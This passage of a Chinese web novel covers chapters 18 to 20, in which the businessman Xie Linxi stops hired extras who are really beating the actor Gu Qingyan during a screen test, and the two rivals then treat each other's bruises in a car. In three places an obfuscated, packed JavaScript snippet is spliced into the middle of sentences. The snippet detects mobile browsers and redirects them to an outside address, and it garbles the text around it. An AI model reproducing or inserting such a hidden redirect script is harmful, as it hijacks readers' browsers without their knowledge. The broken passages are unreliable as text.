顾青衍摇头:“谢总,不用了,我不觉得冷。” 现在的气氛已经够古怪了,再披上谢总的外套,更不知道古怪到哪里去了。 他急急忙忙的从车上下来,谢临溪顺势将手臂抵了过去,顾青衍没过脑子,直接握住了。 下一秒,呼啸的寒风路过,顾青衍握着谢临溪的手臂,很明显的哆嗦了一下。 “……” “……” 谢临溪垂眸看他:“……不冷?” 顾青衍扯了扯唇角,强行挤出一个微笑:“不冷,还好。” 下一秒,他浑身僵直住了。 谢临溪忽然抬手,捏了捏他的腕子。 温热的手掌覆盖上手背,指尖不经意从衬衫袖口边缘滑了进去,指腹恰好贴住冰凉的腕子。 顾青衍浑身紧绷,下意识哆嗦一下,全身僵硬成了木板。 他全然没注意到,身边的谢临溪也僵硬住了。 捏着死对头的腕子,谢临溪眉头狂跳,心道:“我疯了吗?我在干什么?” 这完全是下意识的举动,等一切做完,谢临溪才反应过来发生了什么。 顾青衍第一遍说不冷的时候,谢临溪还算淡定,他在心中啧了一声,心想“还倔,还倔。”,这夜晚降温降的,谢临溪的穿着都有点冷,顾青衍不可能不冷的。 然而顾青衍这人天生不会低头,说两句实话和要他命似的,谢临溪也习惯了,虽然很想让顾青衍自作自受,尝一下嘴硬后感冒的苦果,然而谢总再怎么没品,也不至于让病人着凉,于是谢临溪主动开口,问顾青衍冷不冷,指望死对头就坡下驴,乖乖披上他的外套。 然而顾青衍冷得打抖,却又说了一遍不冷,谢临溪就气的有些想笑了,前世的顾青衍也是这样,谢临溪台阶递了无数个,对方就是不下,存心和他怄气似的。 于是,谢临溪一边心想着“都哆嗦了,还嘴硬呢?”,一边几乎没过脑子,顺手捉住了他的腕子,指尖感受到冰凉的皮肤时,谢临溪心中甚至有几分愉悦——就像是后世和顾青衍辩论,拿到了证据,抓住了的把柄,戳穿了顾青衍拙劣的谎言一样。 ——不冷吗?你明明是冷的。 可指腹和皮肤相触的瞬间,谢临溪就感觉不对。 他心道:“我特么到底在干什么?” 他为什么非要证明顾青衍冷?为什么非要让顾青衍主动承认,然后开口披他的外套?这对他有什么好处?顾青衍抗冻,那就让他冻着好了呀? 尴尬的气氛在两人间蔓延,顾青衍垂着眼眸,手腕抖了抖。 谢临溪竭力木着一张脸,装着只是在试探顾青衍的体温,试探过后,他抽回手,语调平淡的可以:“真的不冷吗?你体温很低,病人最好要保暖的。” “……” 手腕还捏在人家手中,顾青衍当然没办法睁着眼睛说瞎话,他垂着眉目,看上去有点蔫蔫的:“……现在是有点冷。” 谢临溪:“有点冷,那要披外套吗?” 顾青衍忍气吞声:“……披。” 18.男二 从路口走到顾青衍租的房子,还有一阵距离,谢临溪怕病人摔路上,干脆送佛送到西,扶着他过去。 这地界租金便宜,楼与楼之间距离很近,昏暗逼仄,抬头抬成90度,才能看见楼与楼之间的一线天光,由于空气污染和光污染,漆黑一片,连颗星星也没有,路面也湿漉漉的糊着一层油灰,路过下水道口的时候,能隐约闻到酸辛腐败的气味。 谢临溪环顾一圈,还是没能将这地方和顾青衍联系起来。 毕竟后世的顾总有洁癖,西装永远合身,碎发永远用摩斯固定好,衣料上永远喷着不知道什么牌子的香水,永远轻抬着下巴,用散漫的眼神看谢临溪。 那副傲慢的脾气,怎么也不像是这种地方养出来的。 他收回视线,又看了眼死对头蔫蔫,软软的,一点看不出来倔脾气的发顶,没说话,只是将人扶到了家门口。 临走时,谢临溪将药盒递给顾青衍:“记得按时吃。” 顾青衍接过:“麻烦了。” 谢临溪颔首点头,转身要走,心想总算把这大麻烦送回家了,结果步子还没迈出去,顾青衍忽然道:“那个,谢总。” 他微微迟疑,“《鹤唳》那部电影,是有您的注资吗?” 谢临溪迈步的腿顿在空中:“……%&$#@*!” 一路上平安无事,都到家了,怎么提起这茬了? 还没等他想好怎么措辞,却听身后顾青衍继续道:“以我现在的咖位,是很难接触到这个角色的,非常感谢您愿意在《鹤唳》里给我机会,我知道,您大概是因为您弟弟的事情,但金钱补偿我已经收到了,您……不必要因为那件事,这么为我考虑。” 老式白炽灯的阴影里,谢临溪悄悄松了口气。 谢临溪其实自己也不知道为什么把本子递给顾青衍,或许是觉得他合适,或许是出于补偿,但不管顾青衍怎么想,别误会他想包养就好了。 于是,谢临溪颔首,平静道:“不需要向我道谢,只是角色形象适配你,秦啸前导演刚好在为那个角色发愁,我就提了一句,初次试镜后还有试妆磨合阶段,能不能把握住,那是你自己的本事。” 顾青衍:“我明白。” 客套一番后,谢临溪起身离开。 第二天一早,顾青衍就收到了初试通过的短信,还约定了试妆和试戏磨合的日期。 秦啸前很看重这部转型之作,演员除了要演技好,符合角色形象,还要和其他演员有互动有火花,所以额外增加了互动试戏的环节。 顾青衍的试戏,是安排着和男二姜可一起的,片段不算难,主要看演员之间的磨合。 说得是某日男五从大帅府往外传递情报,将密信夹在国文课本中,但在离开的路途中被几个打手混混跟踪,混混要搜刮他的财物,为了不暴露密信,男五竭力护着提包,被混混围打,眼看着提包即将被抢,身为敌方高官的男二恰好路过,一眼认出了男五是潜伏的队友,不动声色的扣押混混,掩护男五离开了。 这时候观众还不知道男二是己方潜伏的队友,还对他极为憎恶,等最后真相大白,才会恍然大悟,原来男二私下里做了那么多事。 所以,虽然是男五的剧情,但实际是为了突出男二,这段戏的主要焦点不在顾青衍,而在演男二的姜可。 但即使不是剧情中心,顾青衍也不会懈怠,他习惯于将每个角色演的尽善尽美,于是试戏当天,他提前了两个小时来到剧组。 化妆师裁掉了他的眉头,弱化了面容中冷淡的气质,加重了柔和温润的感觉,将头发打理成民国文人时兴的发型,又换上一身月白长衫,顾青衍唇角扬着温和的笑意,再在手中执一本书卷,和男五的气质完美重合。 秦啸前看着镜头,不断放大缩小,查看妆造。 顾青衍站在原地任由摄像机拍摄,眼神却不自觉的飘往了一边。 谢临溪今天在,只是整张脸都埋在监视屏幕后面,顾青衍看不见,只能看见他交握放在桌案上的双手。 秦啸前最重要的一部戏,也是谢临溪目前最重要的一部戏。 他已经完成了股权质押,用贷款成立了皮包投资公司,目前一部分押注给了秦啸前,手上还压着一部分,正在寻找新的投资。 根据谢临溪的记忆,这段时间除了秦啸前这部,没有爆剧,小爆的都没有,全是些陈芝麻烂谷子翻来复去拍的东西,没什么投资的必要,上午公司的事情处理好了,下午事情不多,反正顾青衍已经知道戏他投资了,就干脆来帮秦啸前挑演员。 结果一来,好巧不巧,刚好就是顾青衍试戏试妆。 顾青衍面前架着四个摄像头,还有一个正对着他的脸,四个摄像头的画面都忠实的反馈在了显示器中中,高清画质下,不但能看清衣料的每一处皱褶,连脸上的毛孔也纤毫毕现。 顾青衍揪了揪衣摆,垂眸任摄像机记录,不知道为什么,有些紧张。 谢临溪有没有发现他来了?有没有在看他? 如果在看他,谢临溪正对着的屏幕里,是什么样子呢? 对他现在的扮相,满意吗? 他这个谢总推荐过的男五,扮相又让秦啸前导演满意吗? 在顾青衍的视角里,谢临溪全程仪态从容的坐在显示屏后,偶尔偏头与秦啸前说几句话,似乎只是投资方临时起意的来访,似乎丝毫没有关注场上选角的情况,。 他看不见的地方,谢临溪动着鼠标,悄悄的戳了戳显示屏上死对头的脸。 鼠标点击特效是荡漾开的涟漪,在顾青衍脸上戳了个小坑。 他眼高于顶的死对头今日文质彬彬的,西装换成文人长衫,一副手不能提肩不能扛,稍有不慎就会被人欺负死的样子,可谢临溪老是幻视他阴阳怪气的模样,如同霸王花基因突变成了小白花,和cosplay似的。 有着显示屏遮掩,不用和死对头四目相对,谢临溪当然不会尴尬,四个摄像头的视角调来调去,有点儿新鲜。 秦啸前同样三视图都看了一遍,对造型师比了个“可以”的手势。 他探出头:“小顾去休息吧,不要卸妆,稍后和姜可试一试戏。” 顾青衍朝导演组礼貌鞠躬,余光又看了眼显示器后的谢总,见谢临溪稳坐钓鱼台,没有说话的意思,这才起身离开。 他没注意到,走出房间的时候,远方的房车里有个戴鸭舌帽的少年取下墨镜,放下车窗,远远朝他看了一眼。 这少年脸捂得严实,下半身却很清凉,穿着条小热裤,和一旁的高大男人牢牢贴在一起。 姜可坐在放车里,从助理手中取过矿泉水,瞥了眼顾青衍的背影,转头看郭严:“那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15301366|166496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是谢总推荐来的演员?” 郭严眯眼看了会儿:“长得倒是还不错。” 姜可:“是还不错,谢总那脾气,难得给人好脸色的,郭哥你记得吧,那天我来找秦导谈事情,在房门外就听见谢总说,想把我男二换掉来着,也不知道是不是想换给他。” 这房车是星芒影视公司的房车,星芒也是《鹤唳》除谢临溪外最大的投资方,这回拍《鹤唳》定了两个角儿,一个是男一,偶像剧顶流的郭严,另一个是唱跳爱豆,男二姜可,今天两个人都是来定妆试戏的。 郭严翻看剧本:“换不了,他又没流量,也没名气,十八线都算不上,总不能让你给他作配吧?” 姜可:“也是,给你作配我乐意,给他我可不服气。” 随着顾青衍越走越远,姜可趴在车窗上往外看:“一个不知道哪里冒出来的十八线想抢我角,真拿自己当盘菜了,我看他也没多历害的样子,谢总怎么好端端的捧他?” 郭严:“可能也没怎么捧,要是铁了心要捧,怎么给个戏份不多的男五,你的角不好抢,男三男四不还是可以的吗?” 助理适时插话:“听说是谢总弟弟把人打了,谢总用角色封口的。” 姜可哦了声:“也就是说,谢总和他不熟?” 助理:“不熟吧,刚刚里头试戏,谢总都没和他打招呼。” 姜可:“那下午,我是不是可以报复一下?他看上去演技很历害的样子,我和他同台试戏,不做点准备,会不会出丑啊?” 说着,他拽了拽郭严的胳膊,朝他撒娇:“我不想出丑。” 郭严笑了声:“随便你吧,一个小角色,掀不起什么风浪,不要做的太过分就行了。” 姜可比了个ok的手势。 几个小时后,姜可也画上了男二的妆,这是场外场戏,由于不是正式拍摄,只用了几个简单的布景,导演组坐在摄像机后,谢临溪坐的更远一些,一边开电脑看文件,一边看看他们拍摄。 顾青衍和饰演混混的临时演员已经走到了固定位置。 顾青衍要从侧城门走出来,几个混混顺势跟上,然后互相说几句台词,混混不耐烦,动手抢手提箱,顾青衍护手提箱,混混打人,然后姜可出来救场。 总之,台词走位都不困难。 随着导演一声令下,场记开始打板,顾青衍从侧门走出,他调整了仪态,步履匆匆,但上半身依旧挺直,配上长衫和眼镜,活脱脱一位旧时代的文人。 随后,几名混混打扮的人上前,远远尾随,顾青衍察觉,加快脚步,顾青衍下意识护住手提箱,混混们从四方包抄,将他团团围住,顾青衍眉头紧蹙,左右试探几步,都没能逃离。 接着,而顾青衍试图交涉,提出直接给钱,可混混们看他护着手提箱,几句台词过后,认定里头有重要钱财,直接动手抢夺。 接着,冲突进一步爆发,顾青衍被掀翻在地。 到这里,表演没有任何问题。 然后,顾青衍将行李箱护到下腹,蜷缩着做出了挨打的姿势。 这个程序他很熟悉,学会如何假挨打是演员的必要功课,群演们都会收着力道,拳脚看着历害,但都很轻,他只需要竭力表现出痛苦就可以了。 可下一秒,拳头砸到肉上的声音响起,他的后腰忽然传来一阵剧痛。 19.上药 一处,两处,三处,疼痛接二连三的袭来,接着密密麻麻连成一片。 这些群演没有收着力道,他们真的在打,卡在不会将人打出问题,但足够疼的界限。 即使后面顾青衍告状,秦啸前来查,也可以推说群演不够专业,不小心没收住力气。 顾青衍指尖撑在地面,额头暴起青筋,他试图喊停,可声音却淹没在了群演你一句我一句的嘈杂的台词中。 “娘希匹的,箱子里护着个什么东西?” “少他妈废话了,直接打,先打服再说。” 他们足足八个人,将顾青衍围在中间,台词此起彼伏,由于出演的是混混,每个人的音量都很大,夹杂着操谁祖宗之类的污言秽语。 在那一瞬间,身体的疼痛和某些记忆中的东西一齐涌了上来,顾青衍眼前发黑,他紧咬着下唇,一时除了抱紧箱子,什么也做不到。 ……不,不应该是这样的。 ……他已经离开了,他明明已经离开了。 显示屏前,秦啸前看着监视画面,暗自点头:“谢总,你带来这个小朋友演技很可以啊,这痛苦挣扎的表现一点问题都没有,谢总你从哪儿挖过来,我怎么就找不到这样……谢总?” 秦啸前偏头:“谢总?” 在他身旁,谢临溪豁然站了起来,大踏步往前。 秦啸前讶异回头:“啊,谢总,你干什么去?” 谢临溪:“试镜暂停。” 秦啸前一愣:“什么?” 谢临溪大踏步往前,提高声音:“试镜暂停,让他们停下来!” 秦啸前和场务都愣住了:“啊?” 还不等秦啸前反应,谢临溪抬腿跨过一堆设备,单手拨开摄影收音的工作人员,拨开迎上来的场务,然后抬手揪住了离他最近的两个群演,反手往外一拉—— “我操你大爷——” “哎呦什么鬼玩意——” 两人正打着呢,冷不丁被人一扯,那股力道极大,他们没站稳,都踉跄着倒向一旁,正要开口骂人,却见谢临溪抬腿踹开一个,仰面肘击一个,单手拎着第三个混混的背心,膝弯又是一踹。 他西装革履,一副精英打扮,下手却一点儿也不轻,西装扣子在剧烈的抬手中崩开,领带翻飞,瞬间拉开了三人,其中两个没吃住冲击,踉跄着往旁边扑去。 剩下三人和谢临溪中间隔着顾青衍,谢临溪动作不便,只能抬手去拦,那人没收住力,一下秒,手臂就结结实实吃了一拳。 谢临溪暗骂一声:“妈的。” 这一下垂的结结实实,估计用不了多久,手臂就要青紫。 场上尘土飞扬,一片混乱,从他冲入拍摄场地开始,秦啸前和场务都愣住了,听到这话,才反应过来。 场务小跑着上前:“暂停,暂停,拍摄暂停!” 秦啸前也从摄像机后站了起来,小步往这边跑,一边跑一边说问:“哎呦,谢总,谢总?这么情况?” 谢临溪没说话,垂眼看了看四处东倒西歪的几位群演,朝地上的顾青衍伸手:“顾青衍,还好吗?” “……” 谢临溪:“……顾青衍?” 他半跪下来,顾青衍的面颊依然抵着地面,唇角抿成一线,似乎还没有从刚刚的事件中和缓过来。 谢临溪蹙眉:“你还好吗?” 顾青衍做过造型的头发全塌了,湿漉漉的糊在脸颊,将他的表情也完全遮住了。 谢临溪只得伸手去拨他的脸颊,手掌托着他的脸离开地面,又施了点力,强行让他转向自己,轻轻拍了拍:“顾青衍,顾青衍?你怎么样?” 无焦距的瞳孔顿了顿,落在了谢临溪身上,他先是一愣,这才如梦初醒似的扯了个笑容:“……没事,谢总,我还好。” 谢临溪:“……” 他想,顾青衍笑的好难看。 比他阴阳怪气讽笑的时候,比他扬眉得意挑衅的时候,还要难看。 谢临溪垂眸拉住他:“先站起来吧。” 他手上微微用了点力,拉着顾青衍的手臂,将他拉了起来。 “——怎么了,怎么了?到底怎么了?” 秦啸前疏于锻炼,小碎步跑了老半天,终于跑到了谢临溪面前,他一边喘着粗气,一边询问:“谢,谢总……什么情况?好端端的,怎么忽然叫停了了” 谢临溪:“那你就要问问这群群演了。” 他环顾一圈:“在场都是几年戏龄的老演员了吧,怎么打人怎么挨打,什么时候要收着力,什么时候要用力,你们不知道?” “……” 群演们站成一排,彼此互相看了眼,都有些不敢看谢临溪。 秦啸前也是当了很多年导演的,演员见间的龌龊也知道一些,谢临溪这么问,他当即一愣:“什么,这些人真打人了?” 谢临溪:“真打,我就挨一下。” 他给秦啸前看手臂。 谢临溪这件是商务西装,袖口的扣子刚刚崩掉了,他都不用解扣子,撩起来就能看。 秦啸前:“啊,哎呦,这——” 手臂上淤青了一块,中间部位泛紫,打的实在不轻。 演员借着演戏打人,还打到了投资人,怎么看都不是小事,秦啸前的脸色也冷了下去,他搓了搓手:“谢总,我们这是直接从影视城招的临时演员,也不知道什么情况,你等我先核实一下,找工头问问情况。” 谢临溪:“好,先让这几个人在一旁等着吧,彼此分开点,刚刚给揍了几拳,我先去上个药,再来处理。” 他转头看顾青衍:“你和我一起来吧。” 以顾青衍的咖位,当然是没有休息室,也没有配房车的,淤青淤紫需要撩开衣服上药,以顾青衍的个性,是不可能在大庭广众撩衣服的。 剩下的地方,就只有谢临溪的车了。 谢临溪:“我的车里有医药箱。” 顾青衍:“……嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15305369|166496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 如果单让顾青衍去上药,虽然他是受伤了,可耽误进度,难免有人唧唧哇哇,但投资人说他要上药,秦啸前也不敢说个不。 于是,谢临溪领着死对头,坐到了他的卡宴上。 谢临溪从后备箱里翻出医药箱:“你转过去,将衣服也撩上去,我看看腰背?” 刚刚顾青衍的姿势,伤应该是在腰背上。 顾青衍一顿,没动。 谢临溪微微叹气:“后面好几天要连着拍戏,伤不好你吃不消的。” 顾青衍:“……嗯。” 他极小声的应了一句,在副驾驶转过身,撩开了外衣,露出腰腹。 顾青衍的腰很细,两个腰窝均匀分布在两侧,因为主人的紧绷而愈发明显,内收的腰线则随脊骨的痕迹一路没入裤中,被戏服遮挡严实了。 谢临溪看过谢哲韬手机里存的视频,但那模糊不清,和近在眼前的视觉还是不一样,而后世那个顾青衍尤其忌讳三级片的过往,每一寸皮肤都好好的裹在西装之中,还特意挑选了不修身的西装,在腰腹处有所放宽,也看不出粗细。 谢临溪心道:“还真是男模身材。” 他身前,顾青衍微微前倾,双手撩着衣服,将腰背呈现在谢临溪面前,他看不见身后的情况,只紧张的抓了抓衣服:“谢总,这样可以吗?” 谢临溪:“哦,可以的。” 他拿出冷敷贴和消炎贴膏:“先冷敷十分钟,再上消炎药,冷敷可能会有点凉。” 顾青衍:“嗯……嗯,我知道。” 谢临溪撕开冷敷贴,对准瘀紫敷了上去。 这里长年不见阳光,皮肤也非常白,青紫的痕迹遍布其上,显的尤为可怖。 即使谢临溪提醒郭,冷敷贴起效的时候,顾青衍还是打了个哆嗦,连着两个腰窝一起不自然的颤抖起来。 腰腹在人体中心,大多时候都有衣服掩盖,冷敷贴的温度对皮肤来说,还是太冷了。 腰背上的伤口不止一处,谢临溪撕开,贴,一时间,车内只剩下了撕拉包装纸的声音。 顾青衍不自在的动了动。 现在,是个什么情况呢? 他主动撩着衣服,上身前倾,将腰腹的一段暴露出来,送到谢临溪的手下,而谢临溪的视线正落在那里,带来烧灼般的幻觉。 贴着冷敷贴的皮肤冷得难受,不贴的地方却热的难受。 怪异的触感让顾青衍炸了一背的鸡皮疙瘩,偏偏谢临溪还在轻声安抚:“忍一下,要不了多久。” 顾青衍:“嗯……嗯。” 他像是失去了对时间的感知能力,不知道这段时间有多长,像是过了很久,又像是过了一会儿,谢临溪道:“好了,冷敷完成了。” 他将冷敷贴从顾青衍的腰背上取下去,顾青衍微微松了口气,心想:“总算结束了。” 可下一秒,他忽然又紧绷了起来。 谢临溪的手指,贴在了皮肤之上。 20.谢谢 指腹的温度过于灼热,混合着冰凉的药膏,谢临溪轻轻将药涂抹在淤青瘀紫之上,不可避免的压迫到皮肤,又带来了极轻微的疼痛,种种感觉混合,变成了怪异的麻痒。 顾青衍的声音有点发闷:“不用涂那么仔细。” 说着,他将衣服放下来,腰身向前,想要躲开。 “别动。”谢临溪单手制止他,“衣服蹭上药了,你后面还有戏,别因为这个耽误拍摄进度。” 顾青衍小声:“……不会耽误拍摄进度。” 谢临溪:“拍摄效果和演员的状态息息相关,我不相信一个身上带伤,腰腹有大片红肿的演员,能表现出应有的效果。” “……” 顾青衍无话可说,只能撩着衣服,任由谢临溪将药抹全了。 等所有青紫都照顾到,谢临溪将药膏丢回医药箱:“行了,我们回去问问清楚,那几个群演是怎么回事。” 像这种没几个镜头的小角色,不可能是秦啸前亲自选的,大半是副导演联系了当地协会工头,或者在多人大群喊了一声,发布角色要求,符合形象气质的群演来试镜,然后挑了几个,顾青衍和他们都不认识,没必要好端端的下狠手。 说着,他想将医药箱收起来,准备开门下车。 顾青衍:“等等,谢总——” 他冷不丁突然出声,谢临溪回头:“怎么了?” 顾青衍:“您手臂上的伤,还没有上药。” 谢临溪低头一看,手臂上有一片淤青,中心泛紫红,是群演一拳锤出来的。 他不太将这伤当回事儿,只道:“不要紧,没伤到骨头。” 顾青衍:“还,还是上点药吧。” 谢临溪便回头看他,见顾青衍梗着脖子,目光落在他的手臂,便明白了。 谢临溪心想:“又开始倔了,又开始倔了。” 顾青衍这人的自尊清高显现在方方面面,比如他很怕欠别人人情,一旦欠了,再小的事儿,都要还回来,否则浑身刺挠,谢临溪给他上了药,看见谢临溪有伤,他就非得要给谢临溪上药。 谢临溪还记得,某次开会他和顾青衍坐一起,那主办方不知道搞什么,忘记给顾青衍的座位放矿泉水了,恰好旁边谢临溪的座位扶手上放了一瓶,顾青衍以为是自己这边的,就拿走喝了,给谢临溪撞个正着。 这么好的奚落死对头的机会,谢临溪怎么可能放过,当即用他一骑绝尘的身高俯视死对头,慢悠悠的来了一句:“呦,顾总这么渴,连我的水都喝?” 谢临溪还记得,当时顾青衍拿着矿泉水瓶,拧紧瓶盖的动作僵在一半,嘴里还含着一口水,要咽不咽的,他睁大眼睛看着谢临溪,一副恨不得砍死谢临溪的模样。 谢临溪就施施然往他身边一坐:“喝吧喝吧,慢点喝,顾总这日理万机的,可别呛着了,您都喝了,我还能抢你的?” 顾青衍好不容易将水咽下去,闻言剧烈的咳嗽了起来,他抬眼看表,离开会还有十分钟,便噌的站了起来,谢临溪还没搞清什么情况,就见顾青衍拨开人群,走了个没影。 谢临溪:“?” 顾青衍抢他的水,把自己气走了? 结果开会最后两分钟,又见顾总大步流星的走了回来,往谢临溪哐的放了个东西。 谢临溪:“……” 主办方给的矿泉水是农夫山泉,顾青衍满大街的农夫山泉不买,非要买农夫山泉.长白雪,零售价整整好好贵一块钱。 顾青衍:“喝。” 谢临溪:“不是,我说,不至于吧……” 这时,会议已经开场,政府部门的领导在上面演讲,全场都没人说话,认真在听,顾青衍也跟着做出了倾听的动作,谢临溪还以为这事儿就这么过去了。 结果那领导讲完话,场下掌声雷动,趁着众人鼓掌的间隙,顾青衍把水怼进他的座椅扶手,侧身在他的耳边冷冷道:“你喝。” 谢临溪:“……” 他微微后仰拉开距离:“别了吧,我怕你给我下毒。” 这时,第二个领导上台讲话,谢临溪眼睁睁的看着顾青衍拧开瓶盖,往自己的水瓶到了一点,然后喝了,等第二个领导下台,全场再次掌声雷动,顾青衍将瓶盖拧好,再次乓的怼进谢临溪的扶手:“没毒,你喝。” 谢临溪:“……” 他欲言又止,最后甘拜下风。 总之这事后,谢总对顾总的麻烦程度有了全新了解,这人倔的像头死驴,认准的事没谁能扭回来。 于是,当面前这个小顾青衍盯着他的伤口不说话,谢临溪又升起了某种无力感。 不把手臂给顾青衍涂药,顾青衍不会善了了。 谢临溪:“……麻烦顾先生了。” 他撩起西装袖口,撩起衬衫,固定在大臂,露出整条小臂,放在了驾驶台上。 顾青衍将药箱拉过来:“不麻烦。” 他揭开冷敷贴,按在谢临溪的手臂上,冷敷几分钟后,指尖沾上药膏,轻轻点涂在了谢临溪的手臂上。 谢临溪的小臂曲线很漂亮。 他有健身的习惯,强度适中,恰到好处的保持在穿衣显瘦脱衣有肉的界限,能将西装穿的像男模,踹人的时候也不见得含糊。 期间,顾青衍的视线不可遏制的掠过了谢临溪的手。 修长漂亮的,骨节分明的,带着腕表的,他熟悉的手。 顾青衍移开视线,只看伤口。 他低垂着头,给谢临溪留下两个发旋的头顶,头发软塌塌的贴在额头上,看上去非常柔软。 没人说话。 车内一片寂静,只剩下两人的呼吸。 顾青衍脊背绷直,而谢临溪在宿敌小心翼翼的、柔和的过分的动作中指尖微捻,起了点鸡皮疙瘩。 过分的静默中,顾青衍忽然问:“谢总,你怎么知道他们真的在打人?” 谢临溪全部注意力都放在触感怪异的手臂:“……什么?” 顾青衍:“知道他们真的在打人。” 他解释:“那场拍的是远景,他们八个人围成一团,又都是有很多年拍摄经验的老手,摄像机里看不清我,也听不见我的声音,秦啸前导演也没也发现异常。” 秦啸前是从业二十多年的老导演了,全场没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15309386|166496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个比他资深的,他看不出来,不应该有人能看出来。 顾青衍记得,他毫无还手之力的被按在地上打,连声音也被淹没在了叫骂中,某一瞬间,他甚至以为回到了过去,回到了力量相差悬殊的过往,他只能蜷缩着躲起来,等待着施暴者的主动结束。 可是谢临溪看出来了,他大步走进人群,按住了三个人,当他高声叫停,当他朝顾青衍伸手的时候,顾青衍甚至没有反应过来。 结束了吗? 可是以往,不会这么块就结束的。 为什么连秦啸前都没看出来,谢临溪看出来了? 为什么秦啸前都没有阻止,但是谢临溪阻止了? 谢临溪:“……呃。” 他该怎么说呢?总不能说他和顾青衍当了七八年的死对头,太了解对方了吧? 谢临溪见过顾青衍演戏,他知道顾青衍演戏是什么样子的。 顾青衍很会把握揣度角色感情,也擅长捕捉镜头,导演想要拍摄到角色痛苦不屈的模样,他就会给镜头痛苦不屈的模样,让摄影师完完整整的捕捉到他额头暴起的每一根青筋,让收音师收录到他每一处急促的喘息。 但是如果是真的痛苦,顾青衍的表现就截然相反了。 他会将自己蜷缩起来,竭力避免狼狈暴露,恨不得将所有表情掩盖住,如同一只拼命合拢的贝,将脆弱和柔软封存在冷肃的外表之下,不让旁人瞥见分毫。 而刚刚,顾青衍就在躲镜头。 他的脸偏向镜头另一边,手臂护住身体,连痛呼也压在喉咙中,一声也没也泄露出来。 他不是在表演,就像那天在停车场一样,他真的很疼。 可是这些,谢临溪该怎么和顾青衍说? 沉默过后,谢临溪:“我健身的时候,看过别人打沙包,我知道真用力和假用力的区别。” 说完后,谢临溪又飞快补充:“我是项目的投资人,我当然希望剧组成员彼此关照,不要有害群之马,有群演真的打人,不管是谁,我都会上前查看的。” “……嗯,我知道。” 终于,涂药结束,顾青衍关上药盒,咔哒声响起,怪异的气氛结束,两人都微妙的松了一口气。 谢临溪放下袖子,拧开车门:“走吧,顾先生。” 他率先下车,大步流星的往会场走去,却听顾青衍又忽然道:“谢先生……” 谢临溪回头,顾青衍站在原地,指尖揪着衣摆,属于后世死对头的争锋相对和阴阳怪气收敛了个感觉,清俊的面容在文人装扮的衬托下,柔和的不像样子 他说,“谢谢您。” “真的真的,很……谢谢……” 不知道是不是谢临溪的错觉,顾青衍的声音有点哽咽,带着不易察觉的颤抖,单薄的身体笼罩在月白的文人长衫下,也显的越发清瘦。 谢临溪想:“原来顾青衍也会哽咽。” 他的死对头向来满身尖刺,不肯暴露一点儿狼狈,打碎牙齿往肚子里吞,谢临溪早习惯了他那个样子。 可为什么…… 为什么,现在顾青衍看上去,这么的乖呢?